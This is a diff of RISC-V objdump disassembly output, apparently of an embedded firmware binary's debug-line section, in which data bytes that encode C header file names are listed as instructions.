+    21a8:	69647473          	csrrci	s0,0x696,8
+    21ac:	746e                	flw	fs0,248(sp)
+    21ae:	682e                	flw	fa6,200(sp)
+    21b0:	0400                	addi	s0,sp,512
     21b2:	0000                	unimp
-    21b4:	0501                	addi	a0,a0,0
-    21b6:	0604                	addi	s1,sp,768
-    21b8:	08090103          	lb	sp,128(s2)
-    21bc:	0100                	addi	s0,sp,128
-    21be:	0905                	addi	s2,s2,1
-    21c0:	0306                	slli	t1,t1,0x1
-    21c2:	0901                	addi	s2,s2,0
-    21c4:	0000                	unimp
-    21c6:	0501                	addi	a0,a0,0
-    21c8:	097f0307          	0x97f0307
-    21cc:	0004                	0x4
-    21ce:	0501                	addi	a0,a0,0
-    21d0:	0604                	addi	s1,sp,768
-    21d2:	04090103          	lb	sp,64(s2)
-    21d6:	0100                	addi	s0,sp,128
-    21d8:	0705                	addi	a4,a4,1
-    21da:	0306                	slli	t1,t1,0x1
-    21dc:	0900                	addi	s0,sp,144
-    21de:	0000                	unimp
-    21e0:	0501                	addi	a0,a0,0
-    21e2:	001f 0402 0301      	0x3010402001f
-    21e8:	0900                	addi	s0,sp,144
-    21ea:	0004                	0x4
-    21ec:	0501                	addi	a0,a0,0
-    21ee:	001d                	c.nop	7
-    21f0:	0402                	c.slli64	s0
-    21f2:	0301                	addi	t1,t1,0
-    21f4:	0900                	addi	s0,sp,144
-    21f6:	0002                	c.slli64	zero
-    21f8:	0501                	addi	a0,a0,0
-    21fa:	0402000f          	0x402000f
-    21fe:	0301                	addi	t1,t1,0
-    2200:	0900                	addi	s0,sp,144
-    2202:	0008                	0x8
-    2204:	0501                	addi	a0,a0,0
-    2206:	000c                	0xc
-    2208:	0402                	c.slli64	s0
-    220a:	0301                	addi	t1,t1,0
-    220c:	0900                	addi	s0,sp,144
-    220e:	0006                	c.slli	zero,0x1
-    2210:	0501                	addi	a0,a0,0
-    2212:	0605                	addi	a2,a2,1
-    2214:	04090103          	lb	sp,64(s2)
-    2218:	0100                	addi	s0,sp,128
-    221a:	0605                	addi	a2,a2,1
-    221c:	0306                	slli	t1,t1,0x1
-    221e:	0900                	addi	s0,sp,144
-    2220:	0000                	unimp
-    2222:	0501                	addi	a0,a0,0
-    2224:	031e                	slli	t1,t1,0x7
-    2226:	0901                	addi	s2,s2,0
-    2228:	0004                	0x4
-    222a:	0501                	addi	a0,a0,0
-    222c:	0306                	slli	t1,t1,0x1
-    222e:	097f                	0x97f
-    2230:	0004                	0x4
-    2232:	0501                	addi	a0,a0,0
-    2234:	0605                	addi	a2,a2,1
-    2236:	06090103          	lb	sp,96(s2)
-    223a:	0100                	addi	s0,sp,128
-    223c:	1e05                	addi	t3,t3,-31
-    223e:	0306                	slli	t1,t1,0x1
-    2240:	0900                	addi	s0,sp,144
-    2242:	0000                	unimp
-    2244:	0501                	addi	a0,a0,0
-    2246:	002c                	addi	a1,sp,8
-    2248:	0402                	c.slli64	s0
-    224a:	09030603          	lb	a2,144(t1)
-    224e:	0609                	addi	a2,a2,2
-    2250:	0100                	addi	s0,sp,128
-    2252:	3805                	jal	1a82 <__stack_size+0x1282>
-    2254:	0200                	addi	s0,sp,256
-    2256:	0304                	addi	s1,sp,384
-    2258:	0306                	slli	t1,t1,0x1
-    225a:	0900                	addi	s0,sp,144
-    225c:	0000                	unimp
-    225e:	0501                	addi	a0,a0,0
-    2260:	0044                	addi	s1,sp,4
-    2262:	0402                	c.slli64	s0
-    2264:	09000303          	lb	t1,144(zero) # 90 <__stack_size-0x770>
-    2268:	0004                	0x4
-    226a:	0501                	addi	a0,a0,0
-    226c:	0038                	addi	a4,sp,8
-    226e:	0402                	c.slli64	s0
-    2270:	09000303          	lb	t1,144(zero) # 90 <__stack_size-0x770>
-    2274:	0004                	0x4
-    2276:	0501                	addi	a0,a0,0
-    2278:	04020027          	0x4020027
-    227c:	00030603          	lb	a2,0(t1)
-    2280:	0409                	addi	s0,s0,2
-    2282:	0100                	addi	s0,sp,128
-    2284:	0a05                	addi	s4,s4,1
-    2286:	02090703          	lb	a4,32(s2)
-    228a:	0100                	addi	s0,sp,128
-    228c:	1505                	addi	a0,a0,-31
-    228e:	0306                	slli	t1,t1,0x1
-    2290:	0900                	addi	s0,sp,144
+    21b4:	745f 6d69 7665      	0x76656d69745f
+    21ba:	6c61                	lui	s8,0x18
+    21bc:	682e                	flw	fa6,200(sp)
+    21be:	0400                	addi	s0,sp,512
+    21c0:	0000                	unimp
+    21c2:	745f 6d69 7365      	0x73656d69745f
+    21c8:	6570                	flw	fa2,76(a0)
+    21ca:	00682e63          	0x682e63
+    21ce:	0004                	0x4
+    21d0:	7400                	flw	fs0,40(s0)
+    21d2:	7079                	c.lui	zero,0xffffe
+    21d4:	7365                	lui	t1,0xffff9
+    21d6:	682e                	flw	fa6,200(sp)
+    21d8:	0400                	addi	s0,sp,512
+    21da:	0000                	unimp
+    21dc:	74617473          	csrrci	s0,0x746,2
+    21e0:	682e                	flw	fa6,200(sp)
+    21e2:	0400                	addi	s0,sp,512
+    21e4:	0000                	unimp
+    21e6:	6e75                	lui	t3,0x1d
+    21e8:	7369                	lui	t1,0xffffa
+    21ea:	6474                	flw	fa3,76(s0)
+    21ec:	682e                	flw	fa6,200(sp)
+    21ee:	0400                	addi	s0,sp,512
+    21f0:	0000                	unimp
+    21f2:	69727473          	csrrci	s0,0x697,4
+    21f6:	676e                	flw	fa4,216(sp)
+    21f8:	682e                	flw	fa6,200(sp)
+    21fa:	0500                	addi	s0,sp,640
+    21fc:	0000                	unimp
+    21fe:	6c647473          	csrrci	s0,0x6c6,8
+    2202:	6269                	lui	tp,0x1a
+    2204:	682e                	flw	fa6,200(sp)
+    2206:	0500                	addi	s0,sp,640
+    2208:	0000                	unimp
+    220a:	6569                	lui	a0,0x1a
+    220c:	6565                	lui	a0,0x19
+    220e:	7066                	flw	ft0,120(sp)
+    2210:	682e                	flw	fa6,200(sp)
+    2212:	0300                	addi	s0,sp,384
+    2214:	0000                	unimp
+    2216:	615f 736e 2e69      	0x2e69736e615f
+    221c:	0068                	addi	a0,sp,12
+    221e:	0005                	c.nop	1
+    2220:	6e00                	flw	fs0,24(a2)
+    2222:	7765                	lui	a4,0xffff9
+    2224:	696c                	flw	fa1,84(a0)
+    2226:	2e62                	fld	ft8,24(sp)
+    2228:	0068                	addi	a0,sp,12
+    222a:	0005                	c.nop	1
+    222c:	5f00                	lw	s0,56(a4)
+    222e:	656e                	flw	fa0,216(sp)
+    2230:	62696c77          	0x62696c77
+    2234:	765f 7265 6973      	0x69737265765f
+    223a:	682e6e6f          	jal	t3,e88bc <__stack_size+0xe80bc>
+    223e:	0500                	addi	s0,sp,640
+    2240:	0000                	unimp
+    2242:	666e6f63          	bltu	t3,t1,28c0 <__stack_size+0x20c0>
+    2246:	6769                	lui	a4,0x1a
+    2248:	682e                	flw	fa6,200(sp)
+    224a:	0400                	addi	s0,sp,512
+    224c:	0000                	unimp
+    224e:	6566                	flw	fa0,88(sp)
+    2250:	7461                	lui	s0,0xffff8
+    2252:	7275                	lui	tp,0xffffd
+    2254:	7365                	lui	t1,0xffff9
+    2256:	682e                	flw	fa6,200(sp)
+    2258:	0400                	addi	s0,sp,512
+    225a:	0000                	unimp
+    225c:	6572                	flw	fa0,28(sp)
+    225e:	6e65                	lui	t3,0x19
+    2260:	2e74                	fld	fa3,216(a2)
+    2262:	0068                	addi	a0,sp,12
+    2264:	0004                	0x4
+    2266:	5f00                	lw	s0,56(a4)
+    2268:	7974                	flw	fa3,116(a0)
+    226a:	6570                	flw	fa2,76(a0)
+    226c:	00682e73          	csrrs	t3,0x6,a6
+    2270:	6c000003          	lb	zero,1728(zero) # 6c0 <__stack_size-0x140>
+    2274:	2e6b636f          	jal	t1,b855a <__stack_size+0xb7d5a>
+    2278:	0068                	addi	a0,sp,12
+    227a:	0004                	0x4
+    227c:	6300                	flw	fs0,0(a4)
+    227e:	6564                	flw	fs1,76(a0)
+    2280:	7366                	flw	ft6,120(sp)
+    2282:	682e                	flw	fa6,200(sp)
+    2284:	0400                	addi	s0,sp,512
+    2286:	0000                	unimp
+    2288:	6c647473          	csrrci	s0,0x6c6,8
+    228c:	6269                	lui	tp,0x1a
+    228e:	682e                	flw	fa6,200(sp)
+    2290:	0300                	addi	s0,sp,384
     2292:	0000                	unimp
-    2294:	0501                	addi	a0,a0,0
-    2296:	030d                	addi	t1,t1,3
-    2298:	0900                	addi	s0,sp,144
-    229a:	0004                	0x4
-    229c:	0501                	addi	a0,a0,0
-    229e:	0024                	addi	s1,sp,8
-    22a0:	0402                	c.slli64	s0
-    22a2:	0301                	addi	t1,t1,0
-    22a4:	0900                	addi	s0,sp,144
-    22a6:	000c                	0xc
-    22a8:	0501                	addi	a0,a0,0
-    22aa:	001f 0402 0301      	0x3010402001f
-    22b0:	0900                	addi	s0,sp,144
-    22b2:	0002                	c.slli64	zero
-    22b4:	0501                	addi	a0,a0,0
-    22b6:	003a                	c.slli	zero,0xe
-    22b8:	0402                	c.slli64	s0
-    22ba:	0302                	c.slli64	t1
-    22bc:	0900                	addi	s0,sp,144
-    22be:	0006                	c.slli	zero,0x1
-    22c0:	0501                	addi	a0,a0,0
-    22c2:	0028                	addi	a0,sp,8
-    22c4:	0402                	c.slli64	s0
-    22c6:	0601                	addi	a2,a2,0
-    22c8:	0a090103          	lb	sp,160(s2)
-    22cc:	0100                	addi	s0,sp,128
-    22ce:	0405                	addi	s0,s0,1
-    22d0:	0200                	addi	s0,sp,256
-    22d2:	0104                	addi	s1,sp,128
-    22d4:	0306                	slli	t1,t1,0x1
-    22d6:	0900                	addi	s0,sp,144
-    22d8:	0000                	unimp
-    22da:	0601                	addi	a2,a2,0
-    22dc:	06090103          	lb	sp,96(s2)
-    22e0:	0100                	addi	s0,sp,128
-    22e2:	1005                	c.nop	-31
-    22e4:	0306                	slli	t1,t1,0x1
-    22e6:	0900                	addi	s0,sp,144
-    22e8:	0000                	unimp
-    22ea:	0501                	addi	a0,a0,0
-    22ec:	0304                	addi	s1,sp,384
-    22ee:	0901                	addi	s2,s2,0
-    22f0:	0002                	c.slli64	zero
-    22f2:	0501                	addi	a0,a0,0
-    22f4:	0310                	addi	a2,sp,384
-    22f6:	097f                	0x97f
-    22f8:	000c                	0xc
-    22fa:	0501                	addi	a0,a0,0
-    22fc:	0604                	addi	s1,sp,768
-    22fe:	04090103          	lb	sp,64(s2)
-    2302:	0100                	addi	s0,sp,128
-    2304:	04090103          	lb	sp,64(s2)
-    2308:	0100                	addi	s0,sp,128
-    230a:	10090103          	lb	sp,256(s2)
-    230e:	0100                	addi	s0,sp,128
-    2310:	0d05                	addi	s10,s10,1
-    2312:	0306                	slli	t1,t1,0x1
-    2314:	0900                	addi	s0,sp,144
-    2316:	0000                	unimp
-    2318:	0501                	addi	a0,a0,0
-    231a:	031c                	addi	a5,sp,384
-    231c:	0900                	addi	s0,sp,144
-    231e:	0002                	c.slli64	zero
-    2320:	0501                	addi	a0,a0,0
-    2322:	030d                	addi	t1,t1,3
-    2324:	0900                	addi	s0,sp,144
-    2326:	0002                	c.slli64	zero
-    2328:	0501                	addi	a0,a0,0
-    232a:	031c                	addi	a5,sp,384
-    232c:	0900                	addi	s0,sp,144
-    232e:	0002                	c.slli64	zero
-    2330:	0501                	addi	a0,a0,0
-    2332:	0304                	addi	s1,sp,384
-    2334:	0900                	addi	s0,sp,144
-    2336:	0004                	0x4
-    2338:	0501                	addi	a0,a0,0
-    233a:	0632                	slli	a2,a2,0xc
-    233c:	0e090003          	lb	zero,224(s2)
-    2340:	0100                	addi	s0,sp,128
-    2342:	3305                	jal	2062 <__stack_size+0x1862>
-    2344:	0306                	slli	t1,t1,0x1
-    2346:	0900                	addi	s0,sp,144
-    2348:	0000                	unimp
-    234a:	0501                	addi	a0,a0,0
-    234c:	0304                	addi	s1,sp,384
-    234e:	0901                	addi	s2,s2,0
-    2350:	0002                	c.slli64	zero
-    2352:	0501                	addi	a0,a0,0
-    2354:	097f0333          	0x97f0333
-    2358:	000a                	c.slli	zero,0x2
-    235a:	0501                	addi	a0,a0,0
-    235c:	0304                	addi	s1,sp,384
-    235e:	0901                	addi	s2,s2,0
-    2360:	0002                	c.slli64	zero
-    2362:	0501                	addi	a0,a0,0
-    2364:	097f0333          	0x97f0333
-    2368:	0002                	c.slli64	zero
-    236a:	0501                	addi	a0,a0,0
-    236c:	0604                	addi	s1,sp,768
-    236e:	02090103          	lb	sp,32(s2)
-    2372:	0100                	addi	s0,sp,128
-    2374:	3405                	jal	1d94 <__stack_size+0x1594>
-    2376:	0200                	addi	s0,sp,256
-    2378:	0304                	addi	s1,sp,384
-    237a:	06097b03          	0x6097b03
+    2294:	6c61                	lui	s8,0x18
+    2296:	6f6c                	flw	fa1,92(a4)
+    2298:	682e6163          	bltu	t3,sp,291a <__stack_size+0x211a>
+    229c:	0500                	addi	s0,sp,640
+    229e:	0000                	unimp
+    22a0:	6e75                	lui	t3,0x1d
+    22a2:	7369                	lui	t1,0xffffa
+    22a4:	6474                	flw	fa3,76(s0)
+    22a6:	682e                	flw	fa6,200(sp)
+    22a8:	0500                	addi	s0,sp,640
+    22aa:	0000                	unimp
+    22ac:	6e65                	lui	t3,0x19
+    22ae:	6964                	flw	fs1,84(a0)
+    22b0:	6e61                	lui	t3,0x18
+    22b2:	682e                	flw	fa6,200(sp)
+    22b4:	0300                	addi	s0,sp,384
+    22b6:	0000                	unimp
+    22b8:	655f 646e 6169      	0x6169646e655f
+    22be:	2e6e                	fld	ft8,216(sp)
+    22c0:	0068                	addi	a0,sp,12
+    22c2:	73000003          	lb	zero,1840(zero) # 730 <__stack_size-0xd0>
+    22c6:	6c65                	lui	s8,0x19
+    22c8:	6365                	lui	t1,0x19
+    22ca:	2e74                	fld	fa3,216(a2)
+    22cc:	0068                	addi	a0,sp,12
+    22ce:	0004                	0x4
+    22d0:	5f00                	lw	s0,56(a4)
+    22d2:	73676973          	csrrsi	s2,0x736,14
+    22d6:	7465                	lui	s0,0xffff9
+    22d8:	682e                	flw	fa6,200(sp)
+    22da:	0400                	addi	s0,sp,512
+    22dc:	0000                	unimp
+    22de:	6974                	flw	fa3,84(a0)
+    22e0:	656d                	lui	a0,0x1b
+    22e2:	63657073          	csrci	0x636,10
+    22e6:	682e                	flw	fa6,200(sp)
+    22e8:	0400                	addi	s0,sp,512
+    22ea:	0000                	unimp
+    22ec:	705f 6874 6572      	0x65726874705f
+    22f2:	6461                	lui	s0,0x18
+    22f4:	7974                	flw	fa3,116(a0)
+    22f6:	6570                	flw	fa2,76(a0)
+    22f8:	00682e73          	csrrs	t3,0x6,a6
+    22fc:	0004                	0x4
+    22fe:	7300                	flw	fs0,32(a4)
+    2300:	64656863          	bltu	a0,t1,2950 <__stack_size+0x2150>
+    2304:	682e                	flw	fa6,200(sp)
+    2306:	0400                	addi	s0,sp,512
+    2308:	0000                	unimp
+    230a:	7974                	flw	fa3,116(a0)
+    230c:	6570                	flw	fa2,76(a0)
+    230e:	00682e73          	csrrs	t3,0x6,a6
+    2312:	5f000003          	lb	zero,1520(zero) # 5f0 <__stack_size-0x210>
+    2316:	6f6c                	flw	fa1,92(a4)
+    2318:	656c6163          	bltu	s8,s6,295a <__stack_size+0x215a>
+    231c:	682e                	flw	fa6,200(sp)
+    231e:	0400                	addi	s0,sp,512
+    2320:	0000                	unimp
+    2322:	69727473          	csrrci	s0,0x697,4
+    2326:	676e                	flw	fa4,216(sp)
+    2328:	00682e73          	csrrs	t3,0x6,a6
+    232c:	0005                	c.nop	1
+    232e:	7300                	flw	fs0,32(a4)
+    2330:	7274                	flw	fa3,100(a2)
+    2332:	6e69                	lui	t3,0x1a
+    2334:	00682e67          	0x682e67
+    2338:	0004                	0x4
+    233a:	7400                	flw	fs0,40(s0)
+    233c:	6d69                	lui	s10,0x1a
+    233e:	2e65                	jal	26f6 <__stack_size+0x1ef6>
+    2340:	0068                	addi	a0,sp,12
+    2342:	0005                	c.nop	1
+    2344:	7400                	flw	fs0,40(s0)
+    2346:	6d69                	lui	s10,0x1a
+    2348:	2e65                	jal	2700 <__stack_size+0x1f00>
+    234a:	0068                	addi	a0,sp,12
+    234c:	70000003          	lb	zero,1792(zero) # 700 <__stack_size-0x100>
+    2350:	616c                	flw	fa1,68(a0)
+    2352:	6674                	flw	fa3,76(a2)
+    2354:	2e6d726f          	jal	tp,d963a <__stack_size+0xd8e3a>
+    2358:	0068                	addi	a0,sp,12
+    235a:	0006                	c.slli	zero,0x1
+    235c:	0000                	unimp
+    235e:	1605                	addi	a2,a2,-31
+    2360:	0500                	addi	s0,sp,640
+    2362:	9802                	jalr	a6
+    2364:	4022                	0x4022
+    2366:	0320                	addi	s0,sp,392
+    2368:	010a                	slli	sp,sp,0x2
+    236a:	0205                	addi	tp,tp,1
+    236c:	00090303          	lb	t1,0(s2) # 18000 <__stack_size+0x17800>
+    2370:	0100                	addi	s0,sp,128
+    2372:	0105                	addi	sp,sp,1
+    2374:	0306                	slli	t1,t1,0x1
+    2376:	0901                	addi	s2,s2,0
+    2378:	0000                	unimp
+    237a:	0901                	addi	s2,s2,0
+    237c:	0004                	0x4
     237e:	0100                	addi	s0,sp,128
-    2380:	4005                	c.li	zero,1
-    2382:	0200                	addi	s0,sp,256
-    2384:	0304                	addi	s1,sp,384
-    2386:	0306                	slli	t1,t1,0x1
-    2388:	0900                	addi	s0,sp,144
-    238a:	0000                	unimp
-    238c:	0501                	addi	a0,a0,0
-    238e:	004c                	addi	a1,sp,4
-    2390:	0402                	c.slli64	s0
-    2392:	09000303          	lb	t1,144(zero) # 90 <__stack_size-0x770>
-    2396:	0004                	0x4
-    2398:	0501                	addi	a0,a0,0
-    239a:	0040                	addi	s0,sp,4
-    239c:	0402                	c.slli64	s0
-    239e:	09000303          	lb	t1,144(zero) # 90 <__stack_size-0x770>
-    23a2:	0002                	c.slli64	zero
-    23a4:	0501                	addi	a0,a0,0
-    23a6:	0402002f          	0x402002f
-    23aa:	00030603          	lb	a2,0(t1)
-    23ae:	0409                	addi	s0,s0,2
-    23b0:	0100                	addi	s0,sp,128
-    23b2:	0a05                	addi	s4,s4,1
-    23b4:	02090803          	lb	a6,32(s2)
-    23b8:	0100                	addi	s0,sp,128
-    23ba:	0d05                	addi	s10,s10,1
-    23bc:	0306                	slli	t1,t1,0x1
-    23be:	0900                	addi	s0,sp,144
-    23c0:	0000                	unimp
-    23c2:	0501                	addi	a0,a0,0
-    23c4:	0604                	addi	s1,sp,768
-    23c6:	06090103          	lb	sp,96(s2)
-    23ca:	0100                	addi	s0,sp,128
-    23cc:	0505                	addi	a0,a0,1
-    23ce:	0306                	slli	t1,t1,0x1
-    23d0:	0900                	addi	s0,sp,144
-    23d2:	0000                	unimp
-    23d4:	0501                	addi	a0,a0,0
-    23d6:	0609                	addi	a2,a2,2
-    23d8:	04090003          	lb	zero,64(s2)
-    23dc:	0100                	addi	s0,sp,128
-    23de:	0c05                	addi	s8,s8,1
-    23e0:	0306                	slli	t1,t1,0x1
-    23e2:	0900                	addi	s0,sp,144
-    23e4:	0000                	unimp
-    23e6:	0501                	addi	a0,a0,0
-    23e8:	0610                	addi	a2,sp,768
-    23ea:	04090003          	lb	zero,64(s2)
-    23ee:	0100                	addi	s0,sp,128
-    23f0:	0405                	addi	s0,s0,1
-    23f2:	00090203          	lb	tp,0(s2)
-    23f6:	0100                	addi	s0,sp,128
-    23f8:	1505                	addi	a0,a0,-31
-    23fa:	0306                	slli	t1,t1,0x1
-    23fc:	0900                	addi	s0,sp,144
-    23fe:	0000                	unimp
-    2400:	0501                	addi	a0,a0,0
-    2402:	030a                	slli	t1,t1,0x2
-    2404:	0900                	addi	s0,sp,144
-    2406:	0004                	0x4
-    2408:	0001                	nop
-    240a:	0402                	c.slli64	s0
-    240c:	0601                	addi	a2,a2,0
-    240e:	04090003          	lb	zero,64(s2)
-    2412:	0100                	addi	s0,sp,128
-    2414:	1505                	addi	a0,a0,-31
-    2416:	0200                	addi	s0,sp,256
-    2418:	0104                	addi	s1,sp,128
-    241a:	0306                	slli	t1,t1,0x1
-    241c:	0900                	addi	s0,sp,144
-    241e:	0000                	unimp
-    2420:	0501                	addi	a0,a0,0
-    2422:	0014                	0x14
-    2424:	0402                	c.slli64	s0
-    2426:	0301                	addi	t1,t1,0
-    2428:	0900                	addi	s0,sp,144
-    242a:	0008                	0x8
-    242c:	0501                	addi	a0,a0,0
-    242e:	000a                	c.slli	zero,0x2
-    2430:	0402                	c.slli64	s0
-    2432:	0301                	addi	t1,t1,0
-    2434:	0900                	addi	s0,sp,144
-    2436:	0002                	c.slli64	zero
-    2438:	0301                	addi	t1,t1,0
-    243a:	0901                	addi	s2,s2,0
-    243c:	0008                	0x8
-    243e:	0501                	addi	a0,a0,0
-    2440:	0332                	slli	t1,t1,0xc
-    2442:	0900                	addi	s0,sp,144
-    2444:	0004                	0x4
-    2446:	0501                	addi	a0,a0,0
-    2448:	000a                	c.slli	zero,0x2
-    244a:	0402                	c.slli64	s0
-    244c:	0604                	addi	s1,sp,768
-    244e:	04090003          	lb	zero,64(s2)
-    2452:	0100                	addi	s0,sp,128
-    2454:	2705                	jal	2b74 <__stack_size+0x2374>
-    2456:	0306                	slli	t1,t1,0x1
-    2458:	0900                	addi	s0,sp,144
-    245a:	000c                	0xc
-    245c:	0501                	addi	a0,a0,0
-    245e:	0030                	addi	a2,sp,8
-    2460:	0402                	c.slli64	s0
-    2462:	0602                	c.slli64	a2
-    2464:	04097f03          	0x4097f03
-    2468:	0100                	addi	s0,sp,128
-    246a:	3a05                	jal	1d9a <__stack_size+0x159a>
-    246c:	0200                	addi	s0,sp,256
-    246e:	0204                	addi	s1,sp,256
-    2470:	0306                	slli	t1,t1,0x1
-    2472:	0900                	addi	s0,sp,144
-    2474:	0000                	unimp
-    2476:	0501                	addi	a0,a0,0
-    2478:	004e                	c.slli	zero,0x13
-    247a:	0402                	c.slli64	s0
-    247c:	0302                	c.slli64	t1
-    247e:	0900                	addi	s0,sp,144
-    2480:	0006                	c.slli	zero,0x1
-    2482:	0501                	addi	a0,a0,0
-    2484:	004a                	c.slli	zero,0x12
-    2486:	0402                	c.slli64	s0
-    2488:	01030603          	lb	a2,16(t1)
-    248c:	0809                	addi	a6,a6,2
-    248e:	0100                	addi	s0,sp,128
-    2490:	5605                	li	a2,-31
-    2492:	0200                	addi	s0,sp,256
-    2494:	0304                	addi	s1,sp,384
-    2496:	0306                	slli	t1,t1,0x1
-    2498:	0900                	addi	s0,sp,144
-    249a:	0000                	unimp
-    249c:	0501                	addi	a0,a0,0
-    249e:	0062                	c.slli	zero,0x18
-    24a0:	0402                	c.slli64	s0
-    24a2:	09000303          	lb	t1,144(zero) # 90 <__stack_size-0x770>
-    24a6:	0004                	0x4
-    24a8:	0501                	addi	a0,a0,0
-    24aa:	0056                	c.slli	zero,0x15
-    24ac:	0402                	c.slli64	s0
-    24ae:	09000303          	lb	t1,144(zero) # 90 <__stack_size-0x770>
-    24b2:	0002                	c.slli64	zero
-    24b4:	0501                	addi	a0,a0,0
-    24b6:	0045                	c.nop	17
-    24b8:	0402                	c.slli64	s0
-    24ba:	00030603          	lb	a2,0(t1)
-    24be:	0409                	addi	s0,s0,2
-    24c0:	0100                	addi	s0,sp,128
-    24c2:	2e05                	jal	27f2 <__stack_size+0x1ff2>
-    24c4:	0200                	addi	s0,sp,256
-    24c6:	0104                	addi	s1,sp,128
-    24c8:	00090003          	lb	zero,0(s2)
+    2380:	0501                	addi	a0,a0,0
+    2382:	02050027          	0x2050027
+    2386:	229c                	fld	fa5,0(a3)
+    2388:	2040                	fld	fs0,128(s0)
+    238a:	05011103          	lh	sp,80(sp)
+    238e:	0302                	c.slli64	t1
+    2390:	00000903          	lb	s2,0(zero) # 0 <__stack_size-0x800>
+    2394:	0501                	addi	a0,a0,0
+    2396:	060e                	slli	a2,a2,0x3
+    2398:	00090003          	lb	zero,0(s2)
+    239c:	0100                	addi	s0,sp,128
+    239e:	0205                	addi	tp,tp,1
+    23a0:	0306                	slli	t1,t1,0x1
+    23a2:	0901                	addi	s2,s2,0
+    23a4:	0004                	0x4
+    23a6:	0501                	addi	a0,a0,0
+    23a8:	0601                	addi	a2,a2,0
+    23aa:	00090103          	lb	sp,0(s2)
+    23ae:	0100                	addi	s0,sp,128
+    23b0:	0409                	addi	s0,s0,2
+    23b2:	0000                	unimp
+    23b4:	0101                	addi	sp,sp,0
+    23b6:	1805                	addi	a6,a6,-31
+    23b8:	0500                	addi	s0,sp,640
+    23ba:	a402                	fsd	ft0,8(sp)
+    23bc:	4022                	0x4022
+    23be:	0320                	addi	s0,sp,392
+    23c0:	0119                	addi	sp,sp,6
+    23c2:	0205                	addi	tp,tp,1
+    23c4:	00090303          	lb	t1,0(s2)
+    23c8:	0100                	addi	s0,sp,128
+    23ca:	00090103          	lb	sp,0(s2)
+    23ce:	0100                	addi	s0,sp,128
+    23d0:	00090103          	lb	sp,0(s2)
+    23d4:	0100                	addi	s0,sp,128
+    23d6:	00090203          	lb	tp,0(s2)
+    23da:	0100                	addi	s0,sp,128
+    23dc:	1105                	addi	sp,sp,-31
+    23de:	0306                	slli	t1,t1,0x1
+    23e0:	0900                	addi	s0,sp,144
+    23e2:	0000                	unimp
+    23e4:	0501                	addi	a0,a0,0
+    23e6:	0318                	addi	a4,sp,384
+    23e8:	0979                	addi	s2,s2,30
+    23ea:	0004                	0x4
+    23ec:	0501                	addi	a0,a0,0
+    23ee:	0311                	addi	t1,t1,4
+    23f0:	00020907          	0x20907
+    23f4:	0501                	addi	a0,a0,0
+    23f6:	0305                	addi	t1,t1,1
+    23f8:	0900                	addi	s0,sp,144
+    23fa:	0002                	c.slli64	zero
+    23fc:	0501                	addi	a0,a0,0
+    23fe:	0311                	addi	t1,t1,4
+    2400:	0900                	addi	s0,sp,144
+    2402:	0004                	0x4
+    2404:	0501                	addi	a0,a0,0
+    2406:	0305                	addi	t1,t1,1
+    2408:	0900                	addi	s0,sp,144
+    240a:	0002                	c.slli64	zero
+    240c:	0501                	addi	a0,a0,0
+    240e:	0020                	addi	s0,sp,8
+    2410:	0402                	c.slli64	s0
+    2412:	0301                	addi	t1,t1,0
+    2414:	0900                	addi	s0,sp,144
+    2416:	0004                	0x4
+    2418:	0501                	addi	a0,a0,0
+    241a:	0602                	c.slli64	a2
+    241c:	08090303          	lb	t1,128(s2)
+    2420:	0100                	addi	s0,sp,128
+    2422:	0c05                	addi	s8,s8,1
+    2424:	0306                	slli	t1,t1,0x1
+    2426:	0900                	addi	s0,sp,144
+    2428:	0000                	unimp
+    242a:	0501                	addi	a0,a0,0
+    242c:	0602                	c.slli64	a2
+    242e:	02090103          	lb	sp,32(s2)
+    2432:	0100                	addi	s0,sp,128
+    2434:	1305                	addi	t1,t1,-31
+    2436:	0306                	slli	t1,t1,0x1
+    2438:	0900                	addi	s0,sp,144
+    243a:	0000                	unimp
+    243c:	0501                	addi	a0,a0,0
+    243e:	097d030b          	0x97d030b
+    2442:	0002                	c.slli64	zero
+    2444:	0501                	addi	a0,a0,0
+    2446:	0301                	addi	t1,t1,0
+    2448:	0904                	addi	s1,sp,144
+    244a:	0002                	c.slli64	zero
+    244c:	0901                	addi	s2,s2,0
+    244e:	0002                	c.slli64	zero
+    2450:	0100                	addi	s0,sp,128
+    2452:	0501                	addi	a0,a0,0
+    2454:	02050017          	auipc	zero,0x2050
+    2458:	22c6                	fld	ft5,80(sp)
+    245a:	2040                	fld	fs0,128(s0)
+    245c:	05012803          	lw	a6,80(sp)
+    2460:	0302                	c.slli64	t1
+    2462:	00000903          	lb	s2,0(zero) # 0 <__stack_size-0x800>
+    2466:	0501                	addi	a0,a0,0
+    2468:	0601                	addi	a2,a2,0
+    246a:	00090203          	lb	tp,0(s2)
+    246e:	0100                	addi	s0,sp,128
+    2470:	0609                	addi	a2,a2,2
+    2472:	0000                	unimp
+    2474:	0101                	addi	sp,sp,0
+    2476:	2a05                	jal	25a6 <__stack_size+0x1da6>
+    2478:	0500                	addi	s0,sp,640
+    247a:	cc02                	sw	zero,24(sp)
+    247c:	4022                	0x4022
+    247e:	0320                	addi	s0,sp,392
+    2480:	0130                	addi	a2,sp,136
+    2482:	0205                	addi	tp,tp,1
+    2484:	00090303          	lb	t1,0(s2)
+    2488:	0100                	addi	s0,sp,128
+    248a:	0105                	addi	sp,sp,1
+    248c:	0306                	slli	t1,t1,0x1
+    248e:	0901                	addi	s2,s2,0
+    2490:	0000                	unimp
+    2492:	0901                	addi	s2,s2,0
+    2494:	0004                	0x4
+    2496:	0100                	addi	s0,sp,128
+    2498:	0501                	addi	a0,a0,0
+    249a:	0032                	c.slli	zero,0xc
+    249c:	0205                	addi	tp,tp,1
+    249e:	22d0                	fld	fa2,128(a3)
+    24a0:	2040                	fld	fs0,128(s0)
+    24a2:	05013703          	0x5013703
+    24a6:	0302                	c.slli64	t1
+    24a8:	0904                	addi	s1,sp,144
+    24aa:	0000                	unimp
+    24ac:	0501                	addi	a0,a0,0
+    24ae:	0632                	slli	a2,a2,0xc
+    24b0:	00097c03          	0x97c03
+    24b4:	0100                	addi	s0,sp,128
+    24b6:	0605                	addi	a2,a2,1
+    24b8:	02090403          	lb	s0,32(s2)
+    24bc:	0100                	addi	s0,sp,128
+    24be:	3205                	jal	1dde <__stack_size+0x15de>
+    24c0:	08097c03          	0x8097c03
+    24c4:	0100                	addi	s0,sp,128
+    24c6:	0605                	addi	a2,a2,1
+    24c8:	02090403          	lb	s0,32(s2)
     24cc:	0100                	addi	s0,sp,128
-    24ce:	3205                	jal	1dee <__stack_size+0x15ee>
-    24d0:	0200                	addi	s0,sp,256
-    24d2:	0104                	addi	s1,sp,128
-    24d4:	0306                	slli	t1,t1,0x1
